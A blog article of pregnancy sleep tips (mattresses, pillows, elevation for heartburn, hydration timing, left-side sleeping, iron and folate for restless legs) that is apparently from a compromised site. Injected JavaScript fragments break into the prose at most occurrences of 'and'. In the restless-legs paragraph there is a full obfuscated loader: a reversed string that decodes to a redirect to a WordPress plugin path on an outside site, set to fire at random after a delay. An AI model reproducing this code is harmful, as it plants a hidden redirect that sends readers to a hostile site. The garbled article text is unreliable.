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The Pregnancy Sleep Tips You Need to Know About

The Pregnancy Sleep Tips You Need to Know About

Article Written by John Breese

Along with the joy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and excitement that accompanies pregnancy, many women suffer with difficulty sleeping. Lack of sleep leads to fatigue, putting even more stress on the body. The good news is that some pregnancy-related sleep issues can be easily resolved. Here are some helpful pregnancy sleep tips you need to know about.

Know that your mattress matters.

If your mattress has seen better days, it may not be supporting you properly – andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and lack of support can lead to serious discomfort andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and increased insomnia, particularly as your pregnancy progresses. Choosing a supportive mattress with extra cushioning will benefit you during pregnancy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and for years to come. If you’re thinking about a new bed, be sure to check out tips for selecting the best mattress for pregnancy on Bedroom Critic.

Change up your pillow game.

We all have our favorite pillows, but during pregnancy, you might find yourself requiring a different level of support as the curvature of your spine changes, or as you try different sleep positions that accommodate your body better. Special pregnancy pillows can make a huge difference, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and so can smaller pillows tucked around your body.

Elevation can help with heartburn andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and more.

Many pregnant women suffer from heartburn, which happens when your growing baby puts additional pressure on your stomach. It may be temporary, but that’s cold comfort when you’re in the midst of a painful acid reflux attack! The good news is that elevating your upper body can help.

Elevation can help with snoring, too. Even though we may not realize it, the temporary airway blockages that accompany snoring cause our sleep quality to suffer, leaving us exhausted even when we’ve spent the entire night in bed.

Recliner Time suggest a couple of ways to treat yourself to better elevation. A wedge-shaped pillow can help, but the best, most supportive way to get comfortable andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and relax your entire body while keeping your torso slightly elevated is to sleep in a recliner while heartburn is an issue.

Recliners aren’t just a temporary solution for dealing with pregnancy-related sleep issues. They’re the perfect place to put your feet up when your legs feel tired, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and they’re ideal for relaxing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and resting with your little one once they’ve arrived!

Add a nightlight to the bathroom.

Frequent nighttime bathroom trips are a fact of life during pregnancy, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and turning on the lights can prevent you from falling back to sleep quickly when you return to bed. A soothing nightlight is the perfect solution as it’s less stimulating.

Time hydration the right way.

Hydration is essential throughout your pregnancy, but drinking too much during the hours before bedtime can lead to even more trips to the restroom. Time your liquid intake so that you’re drinking more during the first half of the day.

Daytime naps can help you catch up on lost sleep.

Naps aren’t just for toddlers. During pregnancy, daytime naps can help you make up for interrupted nighttime sleep. Building a nap habit now can help you after your baby is born too, as most little ones wake up for nighttime feedings. If you’re able to catch a little bit of extra sleep while your baby naps, you’ll be better off in terms of immunity, vitality, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and overall health.

Try sleeping on your left side.

When you’re lying in bed, consider sleeping on your left side as this can improve blood flow to your uterus as well as your kidneys. Sleeping on your left can sometimes help with acid reflux too.

Save spicy foods for after pregnancy.

Many women find that spicy foods lead to increased heartburn during pregnancy. Highly acidic foods can cause similar discomfort, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and so can heavy, fried options.

Try eating foods that reduce restless legs syndrome.

Restless legs syndrome (RLS) happens more often in women who have $Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-pregnancy”>low levels of iron andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and/or folate. While prenatal tabs can help, whole grains, leafy greens, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other foods high in folate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and iron are better sources since folate is absorbed better when it’s consumed as a component in food. Cutting back on caffeine andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and increasing vitamin C intake are two ways to help make sure that you’re absorbing your folate properly.

Don’t lie awake.

If you’re plagued by insomnia, don’t lie in bed wishing you could go to sleep. Sometimes thinking about sleep makes matters worse instead of better, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and lying in bed while suffering from insomnia reinforces that sense of wakefulness. Instead of staying in bed, get up andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and go to your favorite chair. Read a book, work on an afghan for your baby, or write in your journal until you feel sleepy, then go back to bed. This tip may sound counterintuitive, but it can help you fall back to sleep faster than lying there counting sheep.

Last but not least, make sure that you establish a soothing, consistent bedtime routine that centers on relaxation. Taking a warm bath or shower, listening to peaceful music, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and indulging in your favorite self-care rituals are a few more tips for sleeping better throughout your pregnancy.

This blog article is written by a third party andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and does not necessarily represent EPIC’s viewpoint.

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